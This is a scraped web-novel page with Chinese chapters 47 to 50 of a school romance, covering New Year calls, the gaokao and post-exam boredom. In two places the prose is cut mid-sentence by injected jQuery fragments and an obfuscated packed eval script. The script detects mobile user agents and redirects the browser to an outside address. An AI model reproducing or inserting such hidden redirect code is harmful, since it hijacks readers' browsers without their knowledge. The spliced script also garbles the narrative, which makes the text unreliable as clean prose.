$(''.inform'').remove(); $(''#content'').append('' 出零星的笑声。 “你们是初七回基地吗?” “初八正式开课,我应该会提前一天过去。” 黄时雨若有所思地点点头,“那跟我们放假的时间也差不多,只不过我们大年初七就开学了。” “你们这次回去是不是要准备校考了?” 祝则溪点头,“对,虽然津南大学没有校考,但是我的统考分数稍微有点悬,不好说;另外几所学校都有校考,前后差错三四天,反正挺赶的。” “你至少还有一丝机会嘛,反正我肯定考不上津南大学了,我的成绩差十几分。” “那也没事啊,不是都说专业的美术院校才是最好的嘛,对吧?” 吴笙笙立马安慰。 …… 齐章年好奇,“黄时雨,我之前听到你爸爸妈妈都叫你苗苗,是你的小名吗?” “对啊,这是我妈妈给我取的,”黄时雨陷入回忆,“反正从小时候开始,凡是跟我比较亲近的人都会这样叫我。” 吴笙笙点头补充,“当然,包括我。” 黄时雨本身跟吴笙笙就有接近十厘米的身高差距,她自然地把胳膊搭在吴笙笙的肩上,朝另外两位郑重点头,“没错!” 祝则溪欲言又止。 站在他旁边的齐章年一眼就看出来了祝则溪的小心思。 他朝祝则溪使了个眼神,祝则溪立刻皱眉并拼命小幅度摇头,语速快得仿佛开了倍速,“别问别问,我求求你!” 齐章年刚到嘴边的话就这样硬生生地咽了回去。 他边叹气边摇头,却也无话可说。 “这祝则溪到底什么时候才能勇敢一点啊,我这辈子还有机会看到吗,”齐章年越想越觉得无可奈何。 ——真是怒其不争啊。 走到小路的尽头又重新返回新露广场,黄时雨低头看了一眼手表,发现差不多快到家里的“门禁时间”了。 “那个,我要回去了,我妈让我十点之前必须到家!” “那我们也各自回家吧,时间确实也不早了”,吴笙笙表示赞同。 “行。” “那下次见。” 看到黄时雨匆匆往家赶的背影,祝则溪还是忍不住垂眸,叹了口气。 “你咋了,舍不得?” 祝则溪露出苦笑,无可奈何地耸耸肩,“有点,而且刚刚你想问的那个问题,其实我也很想问。” 齐章年白眼都快翻上天了,连珠炮般地连连发问,“不是,我请问你,你能不能不要总是错过了才在这儿后悔,我提醒了你这么多次,反反复复的,你在犹豫什么,我问你在犹豫什么?!” 齐章年说话时急得胳膊都快抡出火星子了,比祝则溪这个当事人还要激动一万倍。 在新露广场上,黄时雨匆匆留下一句“拜拜”就慌忙往家赶,终于在9:56分敲响了家门。 时间卡得恰到好处,黄时雨跟还在客厅里看电视的爸爸妈妈打了声招呼,就钻到房间里,熟练地打开修图软件,把刚刚拍的照片导入进去,准备开始今晚的“修图大业”。 黄时雨一边放大照片细节仔细观察,一边开始用“瘦脸”“轮廓流畅”“立体”“修容笔”等一步一步调整自己的脸型和五官。 毕竟修图是一件非常耗费精力的事情,黄时雨一顿猛如虎的操作下来,才把最终修好的照片发到了四人小群里。 “大家看看可以不,可以的话我发朋友圈了?” 原本沉寂的群里突然之间所有人都冒了出来—— “我觉得可以。” “我都行。” “我也是,直接发吧。” 黄时雨满意地发出那句“嗯”,转头就更新了一条朋友圈,配文是,“放飞孔明灯后的珍贵照片”。 ——也是属于“一中小分队”的第一张合影。 47. 第四十七次招惹 朋友圈发送成功后的十几分钟,黄时雨放下手机去洗漱,回来时发现点赞和评论数已经远远超出自己的预期了。 黄时雨悠闲地坐在床边,由于腿上还有残留的水,所以只好把脚晾在床外晃来晃去。 她并不急着回复朋友们的评论,而是继续往前翻,想看看别人都发了些什么。 黄时雨的手指就没有停下来过,她总是习惯性地给别人的朋友圈点赞,哪怕并不是自己喜欢或者熟悉的内容。 不过这种习惯有时也会出现一些尴尬的情况,比如曾经有的同学家里的猫猫走丢了,黄时雨误打误撞地在一众安慰评论中点了个赞,结果这件事之后,黄时雨学会了还是得先简单看一下朋友圈详情,确定发的内容是值得点赞的,再启动点赞的小手指。 “黄时雨,我能问你一件事吗?” 看到祝则溪发来的这条消息,黄时雨虽然有点疑惑,但还是立马点进去。 “可以呀,你随便问就行。” 对方正在输入中…… 一分钟过去了。 对方正在输入中…… 黄时雨不由得皱起了眉头,什么问题这么难以启齿吗? 终于,对面发来了一条新消息,是一条语音—— “我……我也可以叫你苗苗吗?” 不知道为什么,黄时雨心里其实早有预感祝则溪会问出这个问题,但当现实真的发生时,黄时雨还是有点难以置信。 她的手指僵在原地,对话框中空白一片,跟她的思绪一样空荡荡的。 要说可以吗,情感上可以。 要说不可以吗,好像从理论上来说,确实有点为时过早。 他们不过是才认识两年不到的普通同学而已,黄时雨心里算得很清楚。 但…… “当然可以!” 黄时雨的手指已经先一步替大脑做好了决定。 等黄时雨反应过来时,对面已经发来了新的语音。 ——“好,谢谢……苗苗。” 短短一句话里,是抑制不住的紧张和兴奋。 黄时雨只把手机放在耳边听了一遍,就立刻爬上床,把被子蒙到头上,整个人蜷缩成小小一团,努力抿住嘴唇,不敢发出一丁点不合时宜的笑声。 毕竟爸妈还在外面,这样不太好吧?! 可是,明明大家不都说一个人的声音在语音里会变难听嘛,为什么他的声音还是好好听啊,好清澈啊! 就像…… 黄时雨在脑海里找了半天形容词,才终于想到了一个最贴切的—— 像泉水,像从山涧流淌下来的、不参杂任何杂质的泉水! 黄时雨从微信跳出来,切换到其他APP,刷着刷着又忍不住听一遍,然后又一边叮嘱自己克制,一边又刷刷其他视频,如此循环,直到困得眼皮都睁不开,才把手机放到床头上沉沉睡去。 “苗苗,你回老家了吗?” “苗苗,你除夕夜要放烟花吗?” “苗苗,你们家小孩很多吗?” 从那天开始,祝则溪对黄时雨的称呼就永久地变成了苗苗,黄时雨也从一开始难以习惯变得习以为常。 除夕夜晚上九点,四人小群按照之前的安排,同步打开视频。 “嗨!” 打开视频的一瞬间,每个人的衣着、表情连同所处的环境一起呈现在视频画面中,一览无余。 大家都穿着红色或接近红色的羽绒服外套,在视频弹出的一瞬间露出一张毫无准备的大脸,只有祝则溪…… 是把手机立在桌子右前方的,像是专门挑了一个拍照好看的45°角。 黄时雨把手机立在墙角,背后嘈杂的鞭炮声几乎淹没了她的话,“等一下哦,我妹妹叫我帮她点一下窜天猴!” 说完,黄时雨短暂地从屏幕里消失了。 “齐章年,你是在烧锅吗?” 吴笙笙好奇地凑到镜头前。 齐章年从凳子旁边拿起一把谷草放到镜头前,嘴上一边说,手上也没停下来,“对啊,我是我们家这一辈里最大的孩子,我奶让我在这里给全家人烧洗漱要用的热水。 齐章年动作娴熟,一看平时就没少干。 “你们俩都在家吗?” 齐章年那边信号还不好,时不时就卡成了定格,就连这句话都是顿顿续续说出来的。 直接给吴笙笙和祝则溪来了一道需要联系上下文理解的阅读题。 “……对啊,吴致远不知道去哪玩了,我一个人待在卧室看春晚。” 祝则溪也紧接着回答,“我也是,不过今年春晚还挺好看的,我今天打算看完再睡。” 齐章年直接打断祝则溪,语气像是在哀求又像是在吐槽,“我说你俩别说春晚了呗,我吃完晚饭就一直在这个厨房里忙来忙去的,一点春晚的影子都没看到!” “你们聊啥呢,我回来啦!” 黄时雨拿起手机,顺手拍了拍身上和头上粘住的的彩带和碎屑。 “你们家小孩挺多啊?” 齐章年指了指黄时雨身后跑来跑去的小朋友。 黄时雨立刻切换成后置摄像头,“对啊,还有邻居家小孩,大家都在一起玩,所以人多。” 才刚拿起手机聊了不到三分钟,黄时雨的衣角就又被楠楠拉住了,“姐姐,你来陪我玩仙女棒嘛,好不好?” 黄时雨把手机放到楠楠面前,指着屏幕里的祝则溪和齐章年,楠楠的目光瞬间被吸引过来—— “那你看看他们是谁呀,楠楠,你看看还记得不?” 楠楠兴奋地指着祝则溪,“之前那个帅气哥哥对吧,你好呀,哥哥,好久不见!” 祝则溪也热情地挥挥手,“你好楠楠,好像长高了一点对不对?” 楠楠急切地站到黄时雨身边比划身高,“对呀,你看,我都到姐姐这里了!” 黄时雨像一个拿着手机的人体支架,任凭楠楠把她扯来扯去的也毫无怨言,甚至还十分宠溺、无怨无悔地配合着。 没办法,当姐姐的就是如此宠妹妹。 她把手机屏幕稍微往自己这边转了一点,才发现楠楠居然正在跟一面都没见过的吴笙笙聊得火热。 “笙笙姐姐,你在干嘛呢?” “笙笙姐姐,你喜不喜欢放烟花呀?” …… 果然,超级外向的社交能力是遗传的,这一点在黄时雨和楠楠身上展现得淋漓尽致。 “楠楠,时间不早了,回来睡觉!” 小姑在楼下大声呼唤楠楠,楠楠也大声回应,“妈妈,我马上来!” “行,那我先带她去睡觉了,我先挂了哈,”黄时雨和楠楠同时朝镜头挥手,另外三人也挥手回应。 “好,拜拜。” 黄时雨挂断电话,好说歹说终于把楠楠弄到了卧室里。 回到客厅已经十一点半了。 满城没有严格的守岁要求,所以大部分有小孩的家庭都已经睡了。房间没有了小孩跑来跑去的吵闹声,还突然有些安静得不习惯。 电视机里的春晚主持人正扯着嗓子拜年,声音却被麻将桌旁的喧闹盖过——大伯捏着一张“幺鸡”举棋不定,二姑边嗑瓜子边催着“出牌啊”,果然幺鸡一落地就被对门欢天喜地给“碰走”;沙发那边,好几个比黄时雨还要大几岁的哥哥姐姐聚在一堆组队玩手游,手指在屏幕上快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797498|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 速移动,嘴里还不停地催着别人搞快搞快,俨然是一副势在必得的架势。 黄时雨在屋里慢慢绕过一堆又一堆的人,坐到沙发边上,一边看着春晚,一边有一搭没一搭地跟朋友们在微信上拜年、抢红包。 窗外的烟花有了短暂的间隙,换来的是五分钟后时间更长、数量更多的集体烟花。 伴随着春晚里主持人们的倒计时,客厅里所有人都停下手里的动作,在沙发上挤成一团,一字一顿地跟着电视里进入倒计时—— “五!” 黄时雨也被大家的热情感染,从坐着变成站着,主动加入到这场新年狂欢中。 “四!” “三!” “二!” “一!” “新年快乐!新年快乐!” 满屋子的拜年声此起彼伏,向长辈拜年,跟晚辈拜年,平辈之间也拜年,大家聚在一起,都在为辞去旧岁,迎接新年而欢呼雀跃。 “群里抢红包了哟!” 不知道是谁喊了一声,只见所有人一瞬间都掏出手机,很快传来了各方战报—— “我才抢了一角钱,什么手气啊!” “我抢了十几块,你运气太差了嘛!” 黄时雨则在抢红包的页面停住了,因为她看到了祝则溪私发给自己的拜年消息—— “新年快乐,苗苗。” “第二个一起度过的春节!” 黄时雨的笑容立刻浮上脸,她动动手指,发出了同款新年祝福,“也祝你新年快乐啦,小祝同学!” 又过了几分钟,黄时雨又补上一条,“如果以后,我们一起度过的春节太多,你数不过来了怎么办?” 对方正在输入中…… “不会的,我一定会记得!” 看到对话框里这几个字,黄时雨好像能透过这句话听到他说话的语气,一定是发自肺腑的、坚定的、诚恳的。 “给你看我刚刚放烟花录的视频,”黄时雨把妈妈录的视频发过去,“有一点长哦。” 祝则溪很快回复,“没事,我喜欢看。” 大约等了一分钟,祝则溪收到了黄时雨发来的三分钟的视频。 祝则溪摊在沙发靠背上,关小电视声音,聚精会神地盯着这个视频看了好几遍。 视频里,黄时雨穿着白色长款羽绒服,带着蓝白相间的毛绒帽子,正蹲在地上用打火机点放在地上的窜天猴,看到有星星点点冒出来,就立刻一蹬腿,快速跑出画面,然后紧接着就是好几声“砰、砰、砰”的声音,烟花一声接一声地从炮筒里直往上窜,在天空中绽放出许多绚丽多彩的图案。 视频中不时爆发出小孩子的说笑声,黄时雨一边放烟花,一边还得护着弟弟妹妹的安全,俨然是一个小大人的模样。 祝则溪反反复复拉动进度条,把有黄时雨的出现的画面来来回回看了好几遍,直到差不多能准确接住黄时雨的下一句话。 祝则溪关掉视频,拿起手机准备回卧室时,才惊觉家里安静得异常,与手机和电视里那些欢喜热闹的场面格格不入。 他从卧室窗户往外看,对面黄时雨的房间黑暗一片,往下看,街道上灯火通明,不时传来的几声杯子碰撞、麻将碰撞的声音,还有大街上相互致意的那句“新年快乐”,这些新年特有的场景都在提醒着祝则溪:今天是大年初一。 往常,祝则溪恐怕早已睡着,毕竟这一天对于祝则溪来说,和千千万万个平常的日子没什么两样。 他躺到床上,伸手拉过被子盖住,借着没有拉严的窗帘缝隙感受那一点点来自外界的新年的氛围。 ——尽管不是专属于我的祝福,但我也在此刻与有荣焉。 48. 第四十八次招惹 短暂的欢乐时光之后,黄时雨又再次回归到辛苦的高三身份中。 假期结束,重新回到教室时,黄时雨发现教室里的布置已经完全变了样:教室背后贴着八个大字——拼搏、奋斗、积极、进取;教室旁边贴着每一位老师的寄语,有的三行,有的两行,每一张纸都无声地流露出老师们的谆谆教诲;教室前面张贴着高考倒计时,目前正停留在“104天”上。 黄时雨坐到座位上,转头打量着教室的所有新装饰,“笙笙,这些布置一弄好,感觉一下子让人变得好紧张啊,你有没有觉得?” 吴笙笙无奈地点头,“对啊,现在多说一句话都像是罪恶一样。” 黄时雨曾经在无数的人口中、无数的帖子中看到过不同的人对于高三的描述,有人说那是永远不愿意回忆的痛苦,有人说那一年有最难忘的同窗情谊,也有人说高三就是平平淡淡,最后以一个不高不低的分数潦草结尾。 每一天,各科老师都要以极其振奋的语气给同学们加油打气; 每一周,老赵都要让大家集体诵读教室后面黑板上的“高三誓言”; 每一月,黄时雨都要经过无数场大考小考,经历无数次排名波动…… 黄时雨像无数的高三学生一样,在复习和考试中被时间推着一步一步往前走,一成不变。 直到四月初收到了来自祝则溪的好消息。 “苗苗,我应该可以上新申美术学院了,只要我的文化课成绩过线就行!!” 黄时雨虽然对美术类院校不甚了解,但新申美术学院的名气非常不错,是很多美术生的梦中情校,能考上这样的大学肯定是相当值得庆贺的。 黄时雨拿起手机,高兴地发出一连串恭喜—— “恭喜你呀,小祝同学,你最最最厉害!” 黄时雨激动得连发了十几条消息,祝则溪也没让黄时雨的兴奋落空,一条一条地回复了黄时雨的消息,哪怕只是像“哈哈哈哈哈哈哈”这样的语气词。 说了半天,黄时雨才终于说到了关键点上—— “那你是不是快回来了?” “对,我下个星期就回来,就要正式投入到文化课的学习之中了。” “好,哦对了,齐章年怎么样?” 祝则溪如实说,“应该也是新申美术学院,不过跟我可能不是同一个专业。” 四月的风里已经有了温热的气息,但现阶段的黄时雨却留不出时间欣赏,复习、做题、总结、考试等活动基本完全占据了她的生活,但每当看到自己的成绩和排名在教室门口张贴的成绩单稳步提升时,又会突然感觉所有的努力都没有白费。 三模考试结束当天,黄时雨才再次在学校里见到了许久不见的祝则溪和齐章年。 他穿着一件白色长袖,外面套着校服外套,袖子微微卷起,戴着那个熟悉的白色口罩,跟黄时雨第一次见到他的时候的装束几乎一模一样。 “好久不见黄时雨,一会儿一起去吃晚饭?” “可以啊,那等你们放好东西,我们就去吧。” 祝则溪跟黄时雨在走廊上简单交流了几句,原本准备了好多话的黄时雨,等到真的见面时,除了必要的寒暄,竟然一句额外的关心都没有说出口。 黄时雨转身冲吴笙笙递了个眼神,用口型示意,“走,吃饭了。” 另外两人很快收拾好,在校门口随便找了家人少的面馆坐了下来。 刚一坐下,黄时雨就好奇地询问他们考试的具体情况,祝则溪主要回答,齐章年和吴笙笙偶尔也补充几句,一顿晚饭下来,四个人的嘴都没停过。 “那你们后面这段时间就基本没有休息时间了哦?” 黄时雨快速吃完碗里的最后一点面条,看着祝则溪的眼睛提问。 “对,毕竟文化课成绩也很重要,而且我们这几个月基本上一点文化课都没复习。” 齐章年嘴里的面都还没咽下去,“就是,我现在连数学那些运算公式都想不起来了,更别说考试了。” 一切的活动都在升入高三的那年暑假停止了,黄时雨除了取试卷和统分,也几乎不再往老赵办公室跑;操场上的同学又换了新的一批,黄时雨也不再有时间去畅想未来,只是一个劲儿地在教室、洗手间、食堂三个地点来回跑,一圈一圈的,时间又继续向前。 虽然一班和三班距离很近,但“一中小分队”的集合时间也少了很多,除了偶尔一起吃吃晚饭外,祝则溪和齐章年几乎待在教室不出来。 就算出来,也是往办公室跑,因此黄时雨在走廊上总能见到他俩奔跑的身影。 也就是在这时,黄时雨突然萌生出是不是能为祝则溪做点什么的想法。 在距离高考仅剩一个月的时候,黄时雨终于带着自己整理了好长时间的易错题集在一班门口招呼祝则溪出来。 祝则溪从厚厚的题书里抬头,看到黄时雨在教室门口招手时立刻露出星星眼,着急忙慌地跨过一个一个横在路中间的箱子跑到走廊上。 “怎么了吗?”祝则溪推了一下快要掉到鼻尖的细边眼镜。 “铛铛铛铛!” 黄时雨从背后拿出一个活页本,活页本的首页工工整整地写着三个大字——“错题本”。 “我把我高三这一年的数学错题全部整理出来了,你应该也用得上,要不借你看看?” 祝则溪立刻接过错题本,书页边贴有索引贴,翻开里面是按照不同类型分类整理的,圆锥曲线、立体几何、函数等重点板块应有尽有,题目、解答、辅助线和思维点拨还用不同颜色的笔专门做了不同的标记。 与其说这是一个错题本,还不如说是一个充满了艺术气息的工艺品。 “谢谢,”祝则溪把错题本紧紧抱在怀里,朝黄时雨微微鞠躬,“我一定会认真看的。” 黄时雨忍不住笑出声,“没事,你就挑里面有用的看就行,不懂的欢迎随时来问我,我包教包会!” 祝则溪看着黄时雨得意洋洋的表情,也忍不住跟着笑起来,“好!” “蝉鸣是窗外渐渐倒数的钟声,考卷的分数是往上爬的树藤,”教室里的倒计时牌被一天一天撕掉,复习资料也一天一天被翻得出现卷边,气温随着高考的逼近也一天一天升高,所有的高考生都在这日复一日的盛夏中变得有些紧张,也有些兴奋。 黄时雨都快记不清这段时间收到了多少来自亲戚朋友的关心,她只知道一定要尽全力考出一个好成绩,作为回报关心自己的人最好的答复。 “同学们,还有三天大家就要上考场了,作为陪伴了大家整整三年的班主任,在这里再叮嘱大家最后几句——” 满城一中一直以来有一个规矩,就是高考之前会放三天高考假,所以这一次叮嘱,实际上就是高中时代的最后一次了。 老赵环视了一圈班里的同学,好像想努力地把每一个同学的样子都刻在心里。他并不急着往后说,而是等到每位同学都放下了手里的书或本子后,才缓缓开口—— “同学们,我想跟大家说,高考,作为我们现阶段人生中的头等大事,每一个人都想竭力取得一个最好的成绩,这是当然,赵老师也在这里衷心祝福大家都能马到成功。不过话又说回来,高三的意义,或者说,整个高中的意义,绝不只是一个高考分数能概括的,大家在这几年中学会的坚强、勇敢、拼搏、勤劳等精神,结交到的志同道合、无坚不摧的好友,一定会让你们终身受益,我想网络上那些总是怀念高中的人,大概也是在怀念这些。” “我总看到有人说,每个人心中都有一个不可战胜的夏天,希望这个夏天,也对你们有同样的意义。” 黄时雨转头,默契地跟吴笙笙眼神示意——“加油,我也一样”。 老赵话音刚落,教室里便响起了排山倒海般的掌声,久久不能平息。 今天正好轮到黄时雨留下来打扫卫生,走之前跟吴笙笙约好高考当天 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“苗苗,”祝则溪蹲在三班教室门口,看到黄时雨出来,起身时还有点腿麻,“你带伞了吗?” “祝则溪?!” 黄时雨揉了揉眼睛,确定自己没看错,“不是十一点半就放学了吗,你怎么还没走啊?” 祝则溪也不解释,只是摇摇头,然后继续自顾自地往下说,“如果你也没带伞的话,可以用我这个外套,然后我们一起冲到校门口!” 黄时雨的视线落到那件校服外套上—— 那件校服外套看起来很宽大,很干净,祝则溪把它随意地搭在胳膊上,露出漂亮的手臂线条。 既然没有其他的办法了,还不如就试试看。 “好啊,怎么弄?” 祝则溪小心翼翼地挪到黄时雨身边,风一吹过衣角,就能跟黄时雨的衣服亲密接触。 他几乎低头就能感受到黄时雨的呼吸。 两人从未感受过如此近距离的接触,黄时雨的心几乎紧张得快要跳出来。 他轻轻地把校服外套打开,一点薄薄的重量压到祝则溪和黄时雨的头上,好像随着衣服的放下,给两人划定了一个单独的相处空间。 黄时雨抬起头,恰好对上祝则溪的眼睛,他只是轻轻眨了眨眼就立刻偏过头去,这个对视就这样即刻结束。 祝则溪把外套的大部分盖在黄时雨头上,让出了一点胸前的空间,试探性问出来,“要不……你站这里吧。” “好,”黄时雨一点一点靠过去,祝则溪张开双臂,把黄时雨完全围住。 万事俱备,是时候冲入雨中了! “出发咯!” 祝则溪双手捏住校服外套的衣领,用身体半包围住黄时雨,钻过屋檐下流淌的雨帘,两人的步伐出奇得一致,快速往校门方向跑去。 学校里几乎没有人了,只剩黄时雨和祝则溪在风吹雨打的世界里奔走。 他们跨越了大半个校园,一直跑到校门口才停下。 “谢谢,你打湿了吗?” 黄时雨看到祝则溪左边裤子上湿了一大片,又转到他身后,发现他的背后打也湿了。 “不碍事,一会儿回去吹一吹就干了,”祝则溪下意识遮住其他被淋湿的部位,不想让黄时雨担心。 “你没淋湿吧?” 祝则溪立马转移话题。 黄时雨摇摇头,把腿踢起来给他看,“只有裤脚湿了一点点。” “那就行,”祝则溪长舒一口气。 雨幕如纱,将整个天地笼罩在一片朦胧的水雾里。屋檐下空间逼仄,两人的肩膀不经意间轻轻相触,又触电般分开。 雨声遮住了那些欲言又止的心事。 那些嘀嗒嘀嗒的声音,敲出最细密的节奏,像少年人藏不住的悸动。 “祝则溪。” “嗯?” “高考加油!” “好,我们都要加油!” 49. 第四十九次招惹 高考当天。 黄时雨躺在床上不停地辗转反侧,各种乱七八糟的知识在脑子里打架,一旦发现有什么知识点突然想不起来了,就硬是要坐起来翻出教材再看一遍,确保又重拾记忆了再躺下去。 这一夜,她几乎没怎么睡踏实,一会儿做梦梦到交卷子时没涂答题卡,一会儿又梦到熟悉的单词死活想不起来意思,她强迫自己快速进入梦乡,可越是这样,越是焦虑到难以入睡。 终于熬到早上七点,黄时雨翻身起床,虽然连续打了好几个哈欠,但不知道是因为紧张还是什么原因,竟然一点都感觉不到困倦。 “苗苗,等下妈妈也送你去考试啊,”黄妈妈笑盈盈地看着眼前这个正狼吞虎咽的“小仓鼠”,忍不住伸手摸了摸她的头发。 “你不上班吗,今天可是周三!” 黄妈妈亮出手机上的请假单,“今天专门请了一个小时的假,等你进考场了我就走。” “我估计你昨天晚上肯定又没咋睡,是不是?” 黄爸爸凑近一看了看时雨的眼睛,连连摇头,“你每次一遇到大事就这样,觉也睡不好,现在不困吧?” 黄时雨把眼睛睁得老大给爸爸妈妈看,作为自己现在异常清醒的证明,“不困啊,明明都紧张得不行,哪有心思想睡觉的事啊。” 今天的早餐还是那个标准的“100”分——一根油条,两个煎蛋,外加一杯牛奶。 快速解决完早餐,黄时雨换上妈妈提前买好的耐克白色短袖和黑色短裤,背上只装了语文资料的书包,简单扎了个高马尾就准备出发了。 “你问问笙笙下楼了没有,你说我们马上到了。” “好,”黄时雨立刻打开手机,拨通了吴笙笙的电话—— “笙笙,下楼了哦,我们马上到啦!” “好,我已经在楼下了,你们过来就能看到我。” 接上吴笙笙后,一路上,两个人一前一后各自默默复习,为高考做着最后一点临时抱佛脚的努力。 黄时雨先是按照老师整理的高频古文考察的内容,从头到尾背诵了一遍;然后又着重复习了一下常考的文学常识和作家生平;最后再把答题技巧又回顾了一遍,做到心中有数,既不重复,也不遗漏。 尽管到达考场时还有足足一个小时,但来来往往的送考车辆已经把满城二中这个考场的门口围了个水泄不通。 黄时雨一行人只好把车停在街道的转角处。 学校外面还真像网上说的那样,有穿旗袍送考的妈妈,有手持向日葵的爸爸,还有拿着印着“旗开得胜”四个大字的折扇的爷爷奶奶,大家的招式五花八门,但最终的目的只有一个,就是希望孩子能考出好成绩,不辜负家人的希望和嘱托。 黄时雨一路从街头走过来,每一位家长的叮嘱都不外乎以下几类—— 叮嘱考试技巧型:“拿到卷子先总体看一遍,不要在一道题上纠结太久” 叮嘱考场注意事项型:“少喝点水”“别走错考场了”“铃声响了就别答题了” 叮嘱身体健康型:“冷的话把外套穿上”“有任何不舒服的要及时举手哈” 虽然这些话在高三这一年已经听到耳朵都要起茧子了,但大多数时候是左耳进右耳出,唯有这时才觉得如雷贯耳,想要像海绵一样把它们全部都吸收进去。 “你紧张吗?” 吴笙笙一路上都紧紧抿着嘴唇,紧张的心情几乎已经写在脸上了,听到黄时雨的话后选择了坦然相告,“紧张,高考对我来说太重要了。” 黄时雨伸手轻轻拍了拍她的后背,用最温和的语气鼓励吴笙笙,“你可以的,我相信你!” 吴笙笙从紧张的情绪中勉强挤出一丝笑容,“我也相信你!” “当然!” 终于还是走到了满城二中的大门口,黄时雨和吴笙笙在校门口一起排队,等待安检。 “苗苗,笙笙,加油啊,沉着冷静,不要紧张!” 两人听到黄妍女士在后面的加油声,双双回头,大声回答,“知道啦!” 黄时雨和吴笙笙顺利通过安检,头也不回地大步往前走。 两人的考场在同一栋,只不过一个在二楼,一个在三楼。 黄时雨在二楼转角处轻轻握住吴笙笙的手,抬头正对上吴笙笙的眼睛,吴笙笙眼睛里闪烁出的坚定狠狠戳中了黄时雨的心,她也顺势低头轻轻捏了一下吴笙笙的手指。 就算什么都不说,她也知道,吴笙笙一定会懂她。 因为昨天下午专门来熟悉过考场,所以黄时雨在门口安检后,放下书包,直奔座位。 距离考试开始还有最后十五分钟,黄时雨的双手紧紧握在一起,头轻轻靠在交握的双手上,默默做了好几个深呼吸,为的是把杂念全部排空,留下最纯粹的知识点。 老师举起密封袋给全体考生检查,用小刀拆封试卷袋,试卷由老师一张一张发到同学手中,又由另一个老师张贴条形码,所有步骤都跟平时的大考一模一样。 黄时雨拿到试卷后简单翻看了一遍,从第一印象来看,暂时没看到太超纲的题目,黄时雨心里那块大石头又稍微落下去了几分。 唯一不同的是,黄时雨每考完一科,试卷被收走后就跟从来没发生过这件事一样,完全记不住任何题目,也感觉不到自己考得怎么样,就像落到荷叶上的水珠,顺着荷叶的倾斜流下去,却什么都没留下。 不过,也许这正是一个好兆头。 黄时雨已经不记得是怎样在最后一堂考试后走出考场的了。 她和吴笙笙一起坐在后排,像高中时期每天晚上一起回家一样,既没有逃离高中苦海的兴奋,也没有对即将到来的暑假的期待,就这样静静地坐着,谁都不说话。 “苗苗,笙笙,你们怎么都不说话啊,累到了?” 黄爸爸通过后视镜看着后面两个沉默的人,好奇询问。 黄时雨摇头,“没有,就是感觉前不着村后不着店的,不知道考得怎么样,也不知道明天开始要干嘛,原本以为会像网上说的那样特别激动兴奋,但实际上并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819103|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有。” 吴笙笙表示赞同,“我也是,特别是等成绩这几天,肯定会特别焦虑。” “哎呀,别紧张,还有十几天才出成绩呢,这几天先好好休息嘛两个小朋友,是不是?” 黄爸爸换了个夸张的语气想哄着两个女孩开心一点,结果却收效甚微。 车里依然是沉默一片,仅剩下空调出风口努力工作的声音。 黄时雨回到家,原本打算先睡个三天三夜再说,结果仅仅只睡了一天,第二天躺在床上,两眼一睁就陷入了空虚状态。 手机上的各大APP都被黄时雨翻了个遍,手机屏幕被随意地切来切去,但好像都没有什么吸引力。 不用去学校,不用上学,不用考试,连手机都变得不好玩了! 脱离主线任务的生活好像有点找不着方向,黄时雨拿着手机从卧室走到客厅,又从客厅去浴室,最后又返回卧室,一天一天就这样消磨过去了。 黄时雨打开了那个久违的“一中小分队”的群聊—— “你们都在干嘛呢?” 吴笙笙:“在卧室躺着,有时做做家务。” 祝则溪:“听听歌,看看电影,也基本都在家。” 齐章年:“在家瘫着,哪也不去,太热了。” 没想到大家的无聊都是一致的,高考后的空虚寂寞是现在急需解决的头等大事。 黄时雨正想着要不要提议大家一起去哪里玩一玩,就收到了老赵发来的通知,让她跟一班、二班的班长说一声,让他们通知班里同学拍毕业照的时间。 黄时雨点开文件,里面下雪毕业照的拍摄时间定在6月15日。 黄时雨把文件迅速转发给罗亦芃和二班班长。 罗亦芃几乎是秒回,“看到了,6月15日,你现在在家吗?” “肯定啊,不然在哪?” ——这是什么破问题,现在天气这么热,不在家还能去哪,黄时雨忍不住在心里翻了个白眼。 “旅游啊,我8号下午考完就出发了,给你看看。” 罗亦芃连发了十几张照片过来,黄时雨一张一张往后翻,全部都是雄奇险峻的自然风光。果然,来自大自然的鬼斧神工天生就对人类有着致命的吸引力,在任何时候都会让人心驰神往。 一直翻到最后一张照片,那是一张他找准角度、精心拍摄的自拍照。 照片里,罗亦芃戴着黑色墨镜,头发像被水打湿了一样被一绺一绺地梳到后面,看起来像是在海边游泳之后坐到沙滩上拍的。 确实帅,甚至是带有一点锋利的帅,这一点黄时雨不得不承认,然后……就没有然后了。 黄时雨紧急措辞,两根大拇指在屏幕上快速敲打着—— “风景挺好看的,在哪里,我下次旅游也考虑考虑。” “永江,飞机一个半小时就到。” “好,”在卧室吹着空调的黄时雨突然听到爸爸在厨房里喊自己的名字,于是手上飞快打字,“我还有点事,之后再聊,你好好玩哦!” 50. 第五十次招惹 黄时雨皇帝般的生活在高考结束当天也一起结束了。 现在,除了做饭之外的所有家务,包括洗碗、洗衣服、扫地、收拾房间在内的所有活动均由黄时雨全全负责,全全代理完成。 为此,黄时雨没少向早早就开启独立生活的吴笙笙和祝则溪请教。 “笙笙,你明天陪我出来买东西呗,我想给朋友们准备一些毕业礼物,好不好?” 黄时雨点开微信置顶,给吴笙笙发消息。 “可以啊,明天下午几点?” “两点怎么样?” 黄时雨算了一下,明天中午大概十二点半能吃上饭,再洗个碗,简单收拾一下,两点到商场那边应该差不多。 